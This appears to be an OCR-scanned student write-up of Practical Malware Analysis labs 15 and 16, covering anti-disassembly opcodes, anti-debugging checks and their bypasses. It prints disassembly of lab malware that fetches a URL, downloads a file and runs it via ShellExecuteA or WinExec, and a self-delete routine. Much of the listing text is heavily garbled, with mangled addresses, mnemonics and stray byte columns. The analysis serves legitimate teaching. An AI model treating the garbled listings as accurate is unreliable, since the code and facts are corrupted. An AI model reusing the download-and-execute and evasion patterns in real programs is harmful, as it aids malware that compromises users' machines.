ix. What set of signatures should be used for this malware?

refer to question 8.
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d. Analyze the sample found in the file Lab15-01.exe. This is a command-line
program that takes an argument and prints “Good Job!” if the argument
matches a secret code.

i. What anti-disassembly technique is used in this binary?

Xor was used followed by jz to trick the disassembler into making a jump. An opcode “E8”
is used to make IDA Pro disassemble the code wrongly.

o - e e

ext:084010088 ; int _ cdecl maim{int argc, const char =*argv, const char ==enuvp)
ext:00401000 _main: ; CODE XREF: start+DELp
ext: 00401000 push ebp

ext:aaye1 881 moy ebp, esp

ext: 08401063 push ebx

ext: 084081004 push esi

ext - aBLue1a8s push edi

ext:@eLE1 066 chp dword pktr [ebp+8], 2

ext:0840100A jnz short loc_4@8105E

ext:@8u0188C o eax, eax

ext:08L40108E

ext-adu1810

ext-08401818 loc_&H81818: ; CODE XREF: _text:0040100ETj
extzo401810 call near ptr SN

ext:Ba4N01815 dec eax

ext-00L01816 add al, @Fh

ext:a8uN01818 mow esi, 7BFAB311h

ext-adLo1a1D jmz short loc_4H8165E

ext:@8u0181F EL T eax, 2ax

extaaLe1821 jz short near ptr loc_&81823+1

ext: 00401023

ext-00401023 loc_H01023: ; CODE XREF : -tEkt:BﬂhB1321fj
ext 00401023 call near ptr EEEER

ext: 08401028 dec eax

ext:aau01 029 add al, @Fh

ext:@8u0182B mow esi, BFAB308251h

ext:ag401030 jno short near ptr loc_5810A4+3

Figure 1. A confuse looking IDA Pro

We can undefine the code and reanalyze the code as shown below.

Jtext:oauaann ; int _ cdecl main(int argc. const char #*#=xarge, const char =senup)

et aaua1a08 _main: ; CODE XREF: start+DE}Lp
text:ofho1o00 push ebp

text:ooha1061 nou ebp, esp

dext 80401003 push ebx

Jtext o040l 00y push es5i

Jtext 00401085 push edi

Stext-aa4e1 086 cmp dword ptr [ebp+&], 2
Stext:oouBoba inz short loc_4B105E
Jtext:oeha1aBc ®or eax, eax
text:B6k0108E jz short loc_&81611
~text-BO4@100E

Ldextoapha1a1a db BE8h ; b

Stext-apyaielt

text-oap1011

dext:OeuB1811 loc_b@1@11: ; CODE SREF: .text:0ou@100ET
text:oohe1611 now eax, [ebp+8Ch]
dext:ahe161k now ecx, [eax+h]
Ldextoassa1my movsx  edx, bpte ptr [ecx]
text:eesa1ein cmp edx, 78h
Stext-aasg1eiD jnz short loc_4@185E
text-@aauB101F £ eay, eax
dextzaandta iz short loc_ 481824
text:aenB1821 ;

~text:-B0401023 db BEBh ; b

-text: 00401024 ;
Figure 2. Reanalyzing opcodes

ii. What rogue opcode is the disassembly tricked into disassembling?

ER was used to trick the dis assembler.
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- moarar_ mw o arsew »

. s wanmes mm s m e -3
text zABNE1 ASE - _I'i\-kf:l'll'LllH1ﬂ1DT_| &

text:BONO1B5E 33 CO Ko BaK, Pax
text:DOMINB60 74 B1 iz short near ptr loc_LBiB62+1

Cext :ABNE1 AG2

text :ABNA1 AG2 loc_4HAT1RG62 : : CODE XREF: .rr-:-cr:nnummm]
text:aosmA62 ] 68 1C 20 4@ call near ptr HEENEEEEN

text:BRNB1R67 B0 FF add bh, bh

text:BO4B1B69 15 OO 20 4O A0 ade eax, ofFfset printi

text:BONO1B6E B3 CH 0y add esp, 4

text:BONO1871 33 O Ko Bax, eax

text: BONG1B73

Figure 3. E8 opcode

iii. How many times is this technique used?

5 times. Just count the number of OxE8(refer to figure 2) you can find.

iv. What command-line argument will cause the program to print “Good Job!”?

Based on the analysis of the following codes, we need to pass in a pass phrase “pdq*.

Cext s BALETBRA : int edecl main(int arge, const char ssargu, const char ssenup)
text - BAKGTOEE _mainz : COBE XREF: start-DELp
text @ANE1808 S5 push ehp

text:0ANE1081 8B EC mow ebp, esp

text-BaNIBRE 53 push B

text BN T0BN SG6 push esi

text :0BNBT0HS S5 push edi

text :00AB10D6 83 TD 08 02 ocnp duord ptr [ebpr*E], 2 ; contains 2 arguments
text:0Dad10BA 75 57 inz Short bhye

text:0BeTO0BC 33 CO KoK Bax, eax

text:0BENODBE 75 @1 iz Short loc_s4@1811

text:0BENTOTa 20 nop

text :aasa1a11

Cext :@asa1a11 loc q@1@11: : CODE XREF: _text:ausa1@80eTj
text :BARB1611 8B &5 AC o wax, [ehp+BGh]

text BBRBIE1S 88 WE 84 oy ecx, [eax+h]

text ;BBNEIBAT @GF BE 149 LTRSS edx, byte ptr [ecx]

text:0BN1800 83 FA 7O cap edx, ‘p°  first char == p
text 0B EIEID 75 IF jnz short bye

text HBREIIF 33 CO Hor eax, eax

text:oBNIB21 FA 01 iz Short laoc_ 407182y

text:0BNMTD23 90 i p

text : 0aNN 02N

Text :0BEN 02N loc_4@1028: : CODE XREF: _text:omudiaziTj
text:0BENTO02E 8B LS @C nou eax, [ebpsBCh]

text:0BE1A2T OB LB A4 o ecx, [Eansi]

text:0BRB162A BF BE S1 62 UK edx, bhyte ptr [Bcxe?]

text:0ARB102E 82 FAa 71 cnp edx, "q° : Svd char == q

text 88831031 7% 2B jnz short by

text BBNB1AE3 33 CA MoK A, e

text -BANETAAS FH @1 i= short loc_481038

text -BaNB1B3T 98 nop

text HBNET1038

text : 08N 03E loc_ 481608 : + CODE XHEF : .text:iﬂll.l‘ll.HU:jSTj
text 00881036 8B H5 OC now eax, [ebprBCh]

text 008 100E 8E hHE 0N now BeCcK, [eax+i]

text 085 B109E BF BE 51 @ LT edx, byte ptr [ecx+1]

text : DB 1D42 83 FA 64 chp edx, “d” + 2nd char -- d

text : BRDTBLS 75 A7 jnz Short bye

text i 0BEFBLT 32 Co KK A, Eax

Cext :ABEBTALT 75 @1 iz Shart lac L@18sC
text i aasETBLE 9

Figure 4. decoding the pass phrase

AWINDOWS\system32\cmd. exe

C:sDocuments and SettingssAdministrator~Desktop“BinaryCollection~Chapter_15L>La
1501 .exe pdqg

Good Jobt

C:~Documents and Settings“~AdministratorsDesktop“BinaryCollectionsChapter_15L>

Figure 5. Good Job!

e- Analyze the malware found in the file Lab15-02.exe. Correct all anti-
disassembly countermeasures before analyzing the binary in order to
answer the questions.

i. What URL is initially requested by the program?
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-text :0040138C Ch6 W5 CC 68 mow [ebp+Src], "h'

-text: 00401398 C6 45 CD 74 mow [ebp+var_33], "t°
-text: 00401394 CH 45 CE 7h mow [ebp+var_32], “t*
.text:80401398 C6 W5 CF 70 mou [ebp+var_31], 'p°’
~text:0040139C C6 W5 D@ 3R mou [ebp+var_328], ":°'
-text:0804813A8 C6 45 D1 2F mow [ebp+var_2F], */°
-text:0084813Aa4 CH 45 D2 2F mow [ebp+var_2E], */°
-text:004013A8 C6 M5 D3 77 mowu [ebp+var_2D], "w"
-text:004013AC C6 45 D4 77 mou [ebp+var_2C], "w"
-text:004013B0 C6 45 D5 77 mow [ebp+var_2B], ‘w’
-text:004013B4 CH 45 D6 2E mow [ebp+var_2AY, *.°
-text:004013B8 C6 W5 D7 7@ mowv [ebp+var_29], ‘p°
-text:004013BC C6 45 DB 72 mow [ebp+var_28], *r°
~Ltext:004013CH CH 45 D9 61 mow [ebp+var_27], *a°
~text:004013C4 C6 45 DA 63 mow [ebp+var_26], ‘c°
-text:004013C8 C6 45 DB 7h mow [ebp+var_25%], 't°
-text:004013CC CH 45 DC 69 mowv [ebp+var_24], *i"
-text: 00401308 CH 45 DD 63 mow [ebp+var_23], ‘cC°
-text:004013D4 C6 45 DE 61 mow [ebp+var_22], ‘a‘
~text :004013D8 C6 W5 DF 6C mou [ebp+var_21], "1°
-text:004013DC C6 45 EB 6D mou [ebp+var_28], ‘'m"
-text:004013E8 CH 45 E1 461 mow [ebp+var_1F], ‘a‘’
text:@04B13E4 ChH 45 E2 6C mow [ebp+var_1E], ‘1°
~-text :0O4DI13ER C6 WS E3 77 mow [ebp+var_1D], "w"
-text:004013EC C6 45 EL4 61 mou [ebp+var_1C], "a°
-text:004013F0 Cd 45 ES 72 mou [ebp+var_1B], ‘r°*

http://www.practicalmalwareanalysis.com/bamboo.html

ii. How is the User-Agent generated?

via modifying GetHostName returned string.

10G_H01085:

mow edx, [ebprvar_2Ad]
movsx  eax, [ebpredx+nde]
] eax, ‘2
jnz short loc 4@1808
v
loc_ 401008 :
nou edx, [ebpruar_Zad]
novsx  eax, [ebpredxzsname]
cmp eax, "z'
jnz short loc_4618FB
loc_4EH@FB:
nou widx, [ebpruar_2aR]
| nousx  eax, [ebpredx+name]
| cmp eax, "9
| inz short loc_4IM11E
4 L . J L .
Y L 4 - ¥ — A |
1= = =
now ecx, [ebpsvar ZAR] | (mow ecx, [ebpruvar_FA0] | (moyw eCx, [ebp+var_2Aa]
noy [ebprecx+name], “A°| |mov [ebpeecx+nane], "a°| |mou [ebprecx+name], '0°| |loc_bO111E:
jmp short loc_ 481130 jnp short loc 481130 jnp short Loc HA113A L edy, [ebp+var_2nA7J
T L al, [ebpeedx+nane]
add al, 1
e ecx, [ebpsvar_2AA]
mou [ebprecx+name], al

The above code will shift the string by 1 character. To prevent invalid ascii, Z is changed to
A, z is changed to a and 9 is changed to 0.

iii. What does the program look for in the page it initially requests?

Bamboo::
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s

lea ec®, [ebp+duNumberOfBytesRead]

push eCX : lpdwHumberOfBytesRead
push BFFFFh ; duHumberOfBytesToRead
1lea edx, [ebp+Buffer]

push edx ; lpBuffer

mov eax, [ebp+hFile]

push eax : hFile

call ds:InternetReadFile

test eax, eax

jnz short loc_hB11C3

ol s =

loc_4811C3:
mou ec¥, [ebpthFile]

push ECX ; hInternet
call ds:InternetCloseHandle

=xor eax, eax

jz short loc_ 4811D5

Elﬁ@i-
nop
;

il s =

loc_4@11D5: ; "Bamboo::*
push offset SubsStr

1lea edx, [ebp+Buffer]

push edx i e

call ds:strstr

add esp, 8

mou [ebp+5tr], eax

cmp [ebp+itr], @

jz loc 481306

Malware Analysis

iv. What does the program do with the information it extracts from the page?

It extracts out another url and download its content via InternetOpenUrlA and
InternetReadFile saving it under Account Sumamry.xls.exe. It then executes it via
ShellExecuteA.
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text:aBaRBI219
-text:ABHM121E
text:a@aB1224
text:08n01229
Stextiaann122F
text:0aaE1232
~text:0anB1238
Stext i annB22E
textiA0ban12aq
text:08aB1247
text:oanE12H9
text:oann12aE
text ioaaE124D
~text:BENB12HF
textoBLE1255
StextiBO0naR1256
text:B84aB8125C
text:oana125D
StextiAasR1263
textiaHA1269
text:@@aNB126B
~textoasEt2ab
text i B04R126E
text:Baaa126E
text:oanB126E
Stext i Aas0126E
textoaa@12TY
text:@AENB127S
text:080127A
text:B0ban1280
text:Baa@1281
text:0anNB12ET
Stext:O0401288
~text:AaLB12RE
text:084812008
~text:oaaE1292
text:A0HA1299
text:0aaE129B8
text:aaNB12Z00
text:ABH012AG6
text:ARMBIZAT

ER
L3
[i1:]
FF
83
89
8B
L E
a9
[:1:]
L1

[.1:]
ap
52

50
FF

Th
e
o0

80
51
[:1:]
£
52
88
ca
FF
a5
Th
83
76
[1:]
ap
51
FF

F1
85
a6
15
ch
85
8D
c1

8D
a8
0n

aa
25

85

15
8BS
a3
a1

BD

aa
95

85

15
(H]
Fh
BD
6l
Lo
ap

15

an
S8
Ba
28
iy
Gl
G
g
Ll

68
S0

6%
Gy

FLC

el ]
Gy

Gl

50

FC

3e
-8

24

oa
Fix
Aaa
20

Fi
FD

Fir

FD
Fi

20
Fo

FE

a1
Fi

F

20

FE

L]
FD

28

L1
FE
il
ha

FE
FF

FF

FF
FE

o
FF

FF

aa
FE

FF

50

FF

aa
FE

Bl

FF
aa

FF
FF

FF

FF
FF

aa
FF

FF

FF
FF

an

FF

FF

na

loc_W8126E =

lea
push
push
mow
push
mow
push
call
test
jz
cmp
jhe
push
now
push
call

Malware Analysis

account_summary
[ebp+str_Account_Summary.xls.exe], eax
BABEBEGH ; Size

ds:imalloc

esp, 4

[ebprlpBuffer], eax

ecx, [ebp+strURL]

ecx, B
[ebp+strURL] ., Pox
a .

3 duContext
a ; dwFlags
1] ; dwHeadersLength
[i] ; lpszHeaders
edx, [ebp+strURL]
edx : lpszurl
eax, [ebp+hinternet]
ean ; hiInternet

ds:Interne tOpentr 1a
[ebp+hFile], eax
short loc_4HE126E
short loc_W@126E

; CODE XREF: main+269Tj
; _main+268Tj
ec¥, [ebp+duHumber0fByteshead]
[]=44 ; lpdwHumber0FfBytesRead
1Baaah ; duHumberOfBytesToRead
edx, [ebp+lpBuffer]
edx » lpBuffer
eax, [ebp+hFile]
eax ; hFile
ds:InternetBeadFile
eax, eax

short loc_ 481306
[ebp+dwHumberO0fFBytesRead], 0

short loc_ L4813 0846

offset Hode 5 "wh™

ecx, [ebp+str_Account_Summary.xls.exe]
BCH i Filename

ds:Fopen

Figure 4. InternetOpenUrlA followed by InternetReadFile followed by fopen,fwrite then

ShellExecuteA

f. Analyze the malware found in the file Lab15-03.exe. At first glance, this
binary appears to be a legitimate tool, but it actually contains more
functionality than advertised.

i. How is the malicious code initially called?

The return address was overwritten by the malicious code address at the start of the
program. the stack which contains the ret address was written with 0x40148c.

text 00401000
text 00401001
text:-00401003
text:-A0401 009
text:-0040100Q
text 00401008
text 08401000
text:-00481811
text-A4MI A6

s w T T

Figure 1. Overwriting return address

55

an
89

£

EC
EC

L]

8C
u5

]

a4

08
14
T

LT

4@ B4
aa aa

81 a8 @@

ii. What does the malicious code do?

push
mou
sub
push
push
push
mou
or
mou

e

ebp

ebp, esp
esp, 134h
ebx

esi

edi

rax, L4HO00B0H
eax, 148Ch

[enp+H]. eax

APt Faoams - a2 HHFaTanTranhkh famc-a
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text: 00M01ABD
tewt @ BidEd AEF
text : 00N 490
text: 00801491 57
text z BT 80
text: 00N TARN
text - 0801496
Ttz NI AR T
text: 00M0149T
text 2 BA%ET 80T
text : 0N0IARC
text: 00801 5A3
Text s BO%E1 AR
Text : 0401 8Aac
text - 80501 8RE
Text D NN NES
Text 0401 4EE
text : BISB1SEE SF
text : MINB1ABE SE
Lexl 2 0001 SBD
text - BN SBE
Text : 00401 4BF
Text - Bi&E18EF
text : 00N NEF

Figure 2. SEH

co 14

By 25

a3

Ca4 04

am

o

1

iy
aB BB BB
o o oo

(1)
[y

ZEH_DIUIDERY D

1oc_LB1ue7:

push
push
mow

xar
diw
push
call
add
pap
pop
pop
pop
retn

wax, wan
short loc_haiagy

: CODE XREF :
ofFfFuet ]ul:_l&ﬂlhﬁﬂ

large dword ptr Fsz@

large Fs:@, esp

wox, wou

ecx

offFset aForHorelnforma @ CFor
printFE

esp, b

el

esi

ehx

ehp

EEH_Ld s s e e S Spoanalysis fadiled

Malware Analysis

SEH_DIVIDEBRVYO+BT j

@0x40148c we can see that the malware is adding a SEH handler (0x4014CO0) via fs:0. It
then performs a divide by 0 error to trigger the SEH.

The handler download a file from a url and executes it via WinExec.

~Cext 0y isCO
Sewt s @lG B RCD
SEext AL EIEE,
~Eext @@L DIBTA
LText o IaCC
Stext s BEh B IREE
Sbext @t BTEDL
~text oM IRDT
LNtz R0hEIRDE
L DT BT
~bext B B1EDA
~Cext 004 1BDA LB
~Cext 0N IEDE
Stest s @8N B RED
-bExt i @BME1RE"
~Eext @04 BIBER 53
~text 0N INEN
SEext AN BIRES
~Cext -84 B IRES
ext N IRER
~TExt D B0 e NE o
A DT B
~text:0ddBIBFB
LCext 00N TnFD
Stextzaiaeson
-Erxt @iy 1S a2
SRtz 0L IS By
~Eext z D04 1S 09
et s BiA S BE
~text -t afuB1s18
Stext i aiNBIS1S
Ltext i @ONEIS1T TS
T T R T
~Lext RIS 1A
~CExt 008 IS1A
LCext 0N TA
Stext AN IA
~bextz@fLEIs1c
SRtz aiNEs2
~Eext z BN BEAS 2T
Sbext c @BLBISED

HH

Figure 3. SEH Handler

*n
a1 @an

a8
=L

45 a8

4@
1)

Ha
Ba

La
Rl

L@
2

2@

ol @8

Bne an

Ll
o

np

Ll
D @8

1loc_4BiBCO:

SEH_HAHDLER :

1oc_40151AR

push
puzh
call
push
call

iii. What URL does the malware use?

I decided to write a script to decode the url. the decoding function is simple... just negate the

inputs.

esp,
a,

[esp=8]
Llarge Fs:@
eax, [eax]
eax, [eax]
ge fs:@,
=

A

eax
$e5
ehp
ehp,
ebx
esi
wadi
offset uwrl
negatefrguiment
esp, 4

offset Filenane
mEegatefrgument
esp. 4

w

o

offset Filename
affset wrl B
o

URLDownloadToF ilen
short loc_48151A8
short loc_48151A8

Eap

wrl

CODE HEEF @

Filename

Stext:BBsi1515T ]

StextoBBsEIsSITTj

(1]

affFset Filenamnes
ds Ui nExec

(L]
dsExitProcess

Figure 4. Decoded URL
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Practical No. 9

a-Analyze the malware found in Lab16-01.exe using a debugger. This is the
same malware as Lab09-01.exe, with added anti-debugging techniques.

i. Which anti-debugging techniques does this malware employ?

Based on the figures below, the anti debugging techniques used are

checking being debugged flag
. checking process heap[10h]
3. checking NtGlobalFlag

N —

push ebx
push i
push wai
oo [ebpewar_182a]. @
o [ebprwar_1828]. @

- 1RE0]. BL
w_ Bz o]

iz short loc SER5F3

- s (=
[cari __ eeleteseir]
Loe_seasro:
- eax, large Fs:3enh
o eax, [eansq8h]
b IER
o cax. [eansiih]
o [ebpruar_1828]), eax
cp [ebpsvar_1e -
iz Enore Loc NBISEN
]
= ] i (=

call BeleteSelf

eax, large Fsz3@h
FER

max, [eacessn]
un

ca1y pelereselF

Figure 1. Anti debugger

0: kd: dt |_PEE

ntdll|_FPEE
+0=000
+0=001
+0x002
+0=003
4+0=004
+0=008
+0x00c

InheritediddressSpace

ReadImageFlleEHecOptlnns
BeinglDsebugged : UChax
SpareBool TChax
Mutant FPtxr32
ImageBa=siddre=s= Ptx32
Ldx Ptxr32

short loc sBI585

Loc_uousEs:
cmp Lrbpearac]
imz oot Loc_

. 3
B EES0S

UChar

TChaxr

Void
Void
PEE_LDR_DATA

+02010
+0=014
+0=018
+0x01lc
+0=020
+0=024
+0=02%8
+0x02c
+0=0320
+0=034
+0=038
+0=03c
+0=040
+0=044
+0x04c
+02050
+0=054
+0=058
+0x0S5c
+0=060
+0=064
+0x068
+0=070
+0=078
+0=07c
+0=030
+0=084
+MN=NaA

PracessParameters
SubSy=temData

Process=Heap

FastPeblock

FastPebIDckEDutlne

Prxr32

Ptxr3Z2 Void

Ptxr32 Void

Ptxr32 _RTL_CRITICAL SECTION
Ptr32 VWoid

_RTL_USER_FPROCESS PARAMETERS

FastPeblinlockRoutine
EnvironmentUpdateCount
KernelCallbackTable
Sv=temnReserved :
AtlThunkSListPtr32
Freselist :
TlsExpansionCounter
Tl=Bitmap
Tl=BitmapBit=
ReadOnlvSharedMemorvBase
ReadOnlvwSharedMemncrvHeap
ReadlinlyvStaticServerData

Ptxr32

Ptxr32

Ftr32 Void

TimtdB

Ptr32 Void
[1] Uint4dBE
Tint4dB

_PEEB_FREE_BLOCK

Uint4B

Void

[2] Uint4BE

Ptr32 Void
Ptr32 Void
Ptr32 Ptr3iZ2 WVoid

An=i1CodePageData
OenCodePageData
TnicodeCaseTableData
HumberOf Processors
NtGlobalFlag
CriticalSectionTimeout
HeapSegment Reserve
HeapSegmentCommit
HeapDeComnmnitTotalFreseThreshold
HeapDeComnmi tFresBlockThreshoald
Humbe=mr0f Heans

Figure 2. the offset used

Ptxr32 Void

FPtr32 Void

- Ptr32 VWoid
Tint4B

Uint4H
_LARGE_INTEGER
: Uaint4dB

Uint4dBE

Uint4B
Uint4B
MintdR
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Figure 3. Checking process heap

ii. What happens when each anti-debugging technique succeeds?

It will self delete and then terminates by calling the subroutine @00401000.

[Tt
push
lea
push
push
call
push
lea
push
lea
i
call
L GIT]
lea
L
KR
FEpm
ot
suly
Ralils]
PN
Laliit]
shir
e
Raiull]
ard
e
lea
lea
Ll
W
FEpn
it
Sialy
Raliln]
LGIT
Raiclt]
Ll
Bl
FEpn
andd
Ralilt]
shir
e
Ralill]
e
e
Ralelll
lea
Ll
W
repm
ot
suly
Relpil)

LT
Ad%h : niize
wax, [#hp+Filenamne]
o= H : lpFilenane
a ; hrodule
dis : EetModuleF i leHamne R
1040 : cchBuf Fer
wow, [ebhp+Filename]

[ : lpszShortPath
edx, [ebp+Filename]

[ : lpszLongPath
s i GetShortPFathHaneR

wdi, aoffset atbel ; "Jsc del
edx, [ehp+Parame:lers]

ecx, BFFFFFFFFR

Ak, BAX

e SCash
L=
edi, ecx
esi, edi
A, ecK
edl, edx
ecx, 2

[ TR
BLE, PaX
ek, 4

(L LiE
edi, [ebp+Filenane]
edx, [ebp+Parameiers]
eCcx, WEFFFFFFFRN
A, ean

e scash
[ =
edi, ecx
esi, edi
whx, ecx
edi, eds
ecx, BFFFFFFFR
ek, ead

e Scash
wdi, BFFFFFFFR
ecx, ebx
ecx, 2

(LR
ecx, shx
ecik, 3

[ LTE 1]
edi, offset aMul ; " > HUL'
ek, [ehp+sParamelers]

BecE, BFFFFFFFFRN
Ak, PaX

e scash
L=
edi, ecx
el erdd

Figure 4. Self Delete & terminates

iii. How can you get around these anti-debugging techniques?

1.

Set breakpoint at the checks and manually change the flow in ollydbg
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2. Patch the program to make jz to jnz etc
3. use plugins such as phantom.

iv. How do you manually change the structures checked during runtime?
use command line and enter dump fs:[30]+2 (refer to figure 2). Set the byte to 0.

v. Which OllyDbg plug-in will protect you from the anti-debugging techniques used by
this malware?

PhantOm plugin will do the job

b. Analyze the malware found in Lab16-02.exe using a debugger. The goal of this lab is
to figure out the correct password. The malware does not drop a malicious payload.

i. What happens when you run Lab16-02.exe from the command line?

Picture worth a thousand words.

C:AWINDOWS\system32\cmd.exe

C:sDocuments and Settings™AdministratorsDesktopsBinaryCollectionsChapter

Figure 1. password required

ii. What happens when you run Lab16-02.exe and guess the command-line parameter?

v C:YWINDOWS\system 3 2vcmd. exe
wapter_16L>L
682 _exe <4 characteyr password>

s and Settin dministratorsDesktop~BinaryGCollection~Chapter_1b6L>Lab
T

Try again.

~“Desktop~BinaryCollectio wapter_l6L>Lab
ain.

dministratorsDesktop~BinaryCollection~Chapter_16L>

Figure 2. Incorrect password
iii. What is the command-line password?
To get the command-line password, we can set breakpoint @0040123A to see what the

malware is comparing the password against. However, on running the malware, the program
simply terminates.
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Seems like 0x00408033 subroutine was called before we reach main method. Analyzing it in
IDA Pro, this subroutine is checking for OLLYDBG window via FindWindowA and it is
also using OutputDebugString to detect for debugger. Just nop the function at let it return to
bypass these checks.

pSecurity ML
hrLCreateThread

| VO T BE, M

EEE.eeD "

Flgure 4. byqrp@ss

and so we got the password... however this password is invalid when tried on the command
line with debugger attached.

Lets look at the subroutine @00401090 which is called by the CreateThread function. This
function is responsible for generating the password to check against.

-Els:-88481124 ror byte_ LOBO32, 7
-tl1s-a848112B mou ebx, large fs:38h
-tls:-88481132 Xor byte_ k88833, GCSh
-t1s:88481139 ror byte_ 488633, 4
-Els:-88481148 rol byte_4BBA31, 4
-Els:-88481147 ror byte_ 488838, 3
-tls:-8848114E Xor byte 488838, 6Dh
-tls:-88481155 ror byte 488831, &
-tls:-8848115C Xor byte 408032, OABh
-Els:-88481163 ror byte 4O8033, 1
-Els:-88481169 ror byte 4OBB32, 2
-Els:-88481178 ror byte_ LOEO31, 1
-Els-88481176 Xor byte_ 4880831, OFEh
-Els:-8848117D rol byte_L4ABA3H, O
-tls:-884081184 Xor byte_ k88838, 72h
-tl1s:8848118B mov bl, [ebx+2]
-El1s:-8848118E rol byte_h@sa3d1, 1

In the subroutine we can see that there is a check against BeingDebugged Flag... maybe this
is the cause of it. Let’s fix the structure and see how it goes.

002 P —— p——
o N ELE| fuote-ee L - Lala 175 ~ | Bryiytsry crEU i PR 1 ¢ =
B T i e —— =P
T co EalBRAR R T s et H
© FriE aCrosses| [AL DNOAD TR 0S: [ONERMELIZ. Slem3 ]
e FECIT Phyrrodan”
D ERE S ol il o
...'ng_ %meqmmm
] [ [Log=n ' e
cEN e | EEEG EEd1-E
LTE o T Lben
R ress | B Lab BELL “d wabaid e Soeriol k™
£ PREaSs | chl Ll
FEi o Bt L
b CN0ssd | FLEN Lab! FECIT Mncerrece pavwsard. Tey sasin.g
© B Pamsss | G0 L
; bedod o e
R ) B
L ED FOF (0P
LB W
i
]
i
g
TR 1= T B T
somlepoam  lexn | : .. ETREEA
4. e I3 Command line |
[iTrmasEaea

|s.-.: FaITsa Ty

Figure 6. byrrp@ss
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The decoded password is “byrrp@ss”. However the strncmp will only compare the first 4
characters.

CAWINDOWS\system32\cmd. exe

ients and Settings“AdministratorsDesktopsBinaryCollection~Chapter_l16L>Labp
buris
soxd?
ninistratorsDesktopsBinaryCollection~Chapter

Figure 7. Correct Password

iv. Load Lab16-02.exe into IDA Pro. Where in the main function is strncmp found?

@0x40123A

-tls:88481233 mou eax, [ebp+argu]
-tls:88481236 mow ecx, [eax+h]
-tls:884081239 push BCX 3 char =
-tls:88481230 call _strncmp

-tls:00848123F add esp, BCh

-tls:B88481242 mouw [ebp+var_ 4], eax
-tls:0084081245 cCmp [ebp+uvar_4], @
-tls:884081249 inz short loc 481254

Figure 8. strncmp
v. What happens when you load this malware into OllyDbg using the default settings?

The program just terminates. In fact even if I am running it in command line but ollydbg is
running in the background, the application will also terminates.

vi. What is unique about the PE structure of Lab16-02.exe?

There is a .tls section.

Meme R O L Align Base Type Class Al ] 55 ds [ gs

B s R X o L 0o b CODE 3z 0000 Q000 L FFFFFFFF FFFFFFFF
gy et R X L pam 0z publc  CODE 12 0000 ELLE L] FFFFFFEF FEFFFFEF
Ip .ideta B L par 002 publc  DATA az 0000 0000 i FFFFFFFF FEFFFFFF
l;. st DOSOTCE B L para ooz [tz DATA 32 (e D000 QM FFRFFFFF FFFFRRFF
{: data 00402000 R W L pa Dons ik DATA iz D00 =Ly Q004 FFRFFFFF FFFFFFFF

Figure 9. .tls section
vii. Where is the callback located? (Hint: Use CTRL-E in IDA Pro.)

At address 0x00401060.

. o a nn P a an 2 L . e

E':'ﬂ Choose an entry point | >

Mame Address Ordinal

=| start 00402179 [rmain entry]

Cancel Search Help

Line 1 of 2
Figure 10. Ctrl-E
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c. Analyze the malware in Lab16-03.exe using a debugger. This malware is
similar to Lab09-02.exe, with certain modifications, including the

introduction of anti-debugging techniques.

i. Which strings do you see when using static analysis on the binary?

these are the only strings of interest to us that we can observe statically.

[

‘s’ .rdata:00405434 00000008 C user32.dll
[5] .rdata:00405614 DDODOOOD C KERMEL32.dII
‘s’ .rdata:00405632  ODOODOOC C SHELL32.dlII
srdata:0040564C  0DOO0ODB C Wws2_32.dll
Y .data:00406034  0O0DODODS T

(data:0040603C  0000000E C == MNUL

‘5" .data:00406044  00DODO0E C fc del
.data:0040605F  0DDDOO0S C Whnwib
ﬁ.-ﬂ A= ANANET 0 ANNNNNNE e L

ii. What happens when you run this binary?

Nothing happen. It just terminates.

iii. How must you rename the sample in order for it to run properly?

In ollydbg, we set breakpoint @0x401518 (strncmp) to see what the malware is comparing
against. The executable name needs to be “qgr.exe*“. However nothing happen when we

attempt to run the malware via command line...

« B985 FLCFBFFFF| HOV DWORD PTR SS: (EBP-4841, ERAK
CFBEFFFF| CHF DWORD PTR SS: [EBF-4841,-1
JHE SHORT Labl&—83. 08481584

HOL ERE, 1
JHF Lablé—B3. 88481558

HOL 0 FTR S5: LEBF—EE4J ER
CALL Lablé-33.38401000

HOU DWORD PTR 55: [EBP—2BC1, EAR
HOW ECH,DWORD FTR S5: [EBF—2BC1
SUE ECH.DMORD PTR S5:[EBP-2B41
CHE ECH. 1

JEE SHORT Lsblé—03%. 00481587
A0F EFCs

U DWORD FTR DS: [EAXI, ED:

P 4

. C3 ET
» 2095 @@FFFFFF| LEA ECX,DWORD FTR SS5: [EBP-18@]
. 52 PUEH EDX

phSAData

CREEL ! £—
- B304 ADO
- BECA TES H
74 8A JE able—83. Ba4E152E
- B8 81 B HOU ERR, L
~ES SHB] QS JHP Lablo—83. 03401698
» 8095 oCFDFFFF|LEA EFR,DWORD PTR 55: [EBP-294]
Sa PLSH ERE
58 @28ope0e | PUSH 2Bz & E
FP1S CCoRdeaa| CALL DWORD PTR DS:EC%NS%?E,#IJE'VJ 'l"'w“F-':“-Fa‘f“rhn
. 2925 CEFDFFFF| HOU DWORD PTR SS: [ —2BB], EF
. B3B0 E@FDFFFF|CHF DWORD PTR S5S5: [EBP-2BE].B
o rd @R JE SHORT Labl&-@2, 08481559
] oL vl
~EY SFE1B66En JIMF Labié-82. BE4a1£98
> &0 B8 PUSH @
= S0 88 PUSH @
= S0 88 PUSH @
= A B PUSH &
- &R 81 PUSH 1
SR a2 FUSH =

. al
« FF1E CE2584808 CRLL DWORD PTR DS:[{&WSZ2 22.WSASocketRA> kWS

CALL DWORD FTR DS:[<&KERMNEL3E.GetT lckCol EGetTickCount

2 CALL DMORD FTR I:I5 E(&KEHI\ELSE Get T lokCol CGetTickCount

ersion = 202 (2.2.0

824817 Be=Labl&-23. 88481 7ES

o | el
BB | 2F
o8| B0
o8| oo

28 | B

Figure 2. qgr.exe
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Firing up IDA Pro we trace back the variable that was used to match against the current
running executable filename.

Seems like the variable is initially set to ocl.exe. It is then passed to a function where
QueryPerformanceCounter was called twice... In between the 2 QueryPerformanceCounter
is a Division by zero opcodes that is purposely set there to slow down the debugged process.

The time difference between the 2 QueryPerformanceCounter will determine if var 118 is 2
or 1 which will affect the return result of this subroutine. If we are using debugger the
QueryPerformanceCounter difference might be above 1200 due to the triggering of the
division by 0 error... if the time difference is above 1200, var 118 will be set to 2 and the
filename should be qgr.exe else var 118 will be set to 1 and the filename should be peo.exe.

e
loc_ HB1262:
pop large dword ptr Fs-@
pop eax
lea ecx, [ebpevar_118]
push BCX ; lpPerformanceCount
call ds :jueryPferformanceCounter
mau edx, dword ptr [ebpe+var_118]
sub edx, dword ptr [ebp+PerformanceCount]
maow [ebpsvar_114], edx
chp [ebpevar_114], 1260
jle short loc_ H8129C
il 15 (=
may [ebp+var_118], 2
(a1 [
loc_ 481290 :
mow [ebp+var_11G], @
